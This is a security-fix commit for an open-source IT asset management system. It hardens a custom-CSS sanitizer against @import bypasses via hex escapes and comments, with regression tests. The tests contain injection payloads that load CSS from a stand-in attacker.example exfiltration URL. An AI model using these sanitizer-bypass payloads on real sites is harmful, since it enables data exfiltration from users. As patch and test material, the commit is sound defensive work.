A free open source IT asset/license management system
Fixed gc22-r333-8q45 - tighter filtering on CSS sanitizer
snipe2358a8b0adf3
diff --git a/app/Models/Setting.php b/app/Models/Setting.phpindex 12e8846bf1..e1edca1de1 100755--- a/app/Models/Setting.php+++ b/app/Models/Setting.php@@ -276,12 +276,31 @@ class Setting extends Model// strip_tags guards against injection reaching a// context that treats < as an HTML boundary. The old encode-then-// selectively-decode chain silently undid its own work on > and "- // and did not touch either @import or url(), so it's gone.+ // and did not touch either @import or url(), so it is gone.$custom_css = strip_tags($custom_css);+ // CSS lets you write hex escapes (`\XXXXXX`, optional trailing+ // whitespace) and single-char escapes (`\X`) inside identifiers+ // and strings. Browsers decode `@\69 mport` to `@import` at parse+ // time. GHSA-gc22-r333-8q45 reported this bypass of the source-+ // text regex below. Instead of mirroring CSS's escape decoder,+ // refuse to render any CSS containing a backslash. Legitimate+ // custom branding CSS does not need escape sequences, and the+ // url() guard further down already applies this same rule to+ // url() values for the same reason.+ if (str_contains($custom_css, '\\')) {+ return '';+ }++ // CSS comments are stripped during tokenization at every position+ // except inside strings, so `@im/*c*/port` parses as `@import` in+ // a browser. Strip comments here first so the at-rule and url()+ // regexes below see the same token stream the browser will.+ $custom_css = preg_replace('#/\*.*?\*/#s', '', (string) $custom_css);+// \b (word boundary) instead of \s+ so `@import"url"` and- // `@import/*c*/"url"` — both valid CSS tokenizations that a- // \s+ pattern would leave in place — still get stripped. `\b`+ // `@import/*c*/"url"` (both valid CSS tokenizations that a+ // \s+ pattern would leave in place) still get stripped. \b// sits between the `t` of `@import` and any non-word character// that follows (string quote, `/`, whitespace, etc.), so any// legal CSS token immediately after the at-keyword triggersdiff --git a/tests/Unit/Models/SettingCustomCssTest.php b/tests/Unit/Models/SettingCustomCssTest.phpindex 0704046c8e..befcf1f1e2 100644--- a/tests/Unit/Models/SettingCustomCssTest.php+++ b/tests/Unit/Models/SettingCustomCssTest.php@@ -147,4 +147,66 @@ class SettingCustomCssTest extends TestCase$this->assertStringNotContainsString('attacker.example', $out);}++ // GHSA-gc22-r333-8q45 regression coverage. The reporter's PoC:+ // CSS lets you write hex escapes inside identifiers, so+ // `@\69 mport` (where `\69 ` is the hex escape for 0x69 = 'i')+ // parses as `@import` in a browser but did not match the+ // source-text regex looking for the literal `@import`. The fix+ // refuses any CSS containing a backslash outright, matching the+ // posture the url() guard was already using for its own escape+ // bypass class.+ public function test_import_at_rule_with_hex_escaped_ident_is_stripped(): void+ {+ $out = $this->withCustomCss('@\69 mport"https://attacker.example/exfil.css";');++ $this->assertStringNotContainsString('attacker.example', $out);+ $this->assertStringNotContainsString('mport', $out);+ }++ // Full six-digit hex escape variant of the same bypass class.+ // `\000069` also decodes to 'i'. Rejecting all backslashes covers+ // every hex escape length CSS accepts.+ public function test_import_at_rule_with_full_hex_escaped_ident_is_stripped(): void+ {+ $out = $this->withCustomCss('@\000069mport"https://attacker.example/exfil.css";');++ $this->assertStringNotContainsString('attacker.example', $out);+ $this->assertStringNotContainsString('mport', $out);+ }++ // CSS strips comments during tokenization at every position except+ // inside strings, so `@im/*c*/port` parses as `@import` even though+ // no version of the source-text regex could ever match that literal.+ // The fix strips comments before running the regex.+ public function test_import_at_rule_with_comment_inside_keyword_is_stripped(): void+ {+ $out = $this->withCustomCss('@im/*c*/port "https://attacker.example/exfil.css";');++ $this->assertStringNotContainsString('attacker.example', $out);+ $this->assertStringNotContainsString('@import', $out);+ }++ // Positive control: legitimate CSS with a comment should still+ // render (comments are stripped before sanitizing, but the+ // surrounding CSS survives).+ public function test_legitimate_css_with_comments_is_preserved(): void+ {+ $out = $this->withCustomCss("/* branding header */\nbody { color: #ff0000; }\n/* end */");++ $this->assertStringContainsString('body', $out);+ $this->assertStringContainsString('#ff0000', $out);+ }++ // Positive control: any CSS containing a backslash is rejected+ // wholesale, matching the docstring on the new guard. This is a+ // trade-off flagged in the fix comment: legitimate CSS with escape+ // sequences (rare in branding) is refused, and the operator sees+ // an empty output rather than partially-sanitized input.+ public function test_css_with_stray_backslash_is_rejected(): void+ {+ $out = $this->withCustomCss('body { content: "hi\\A world"; }');++ $this->assertSame('', $out);+ }}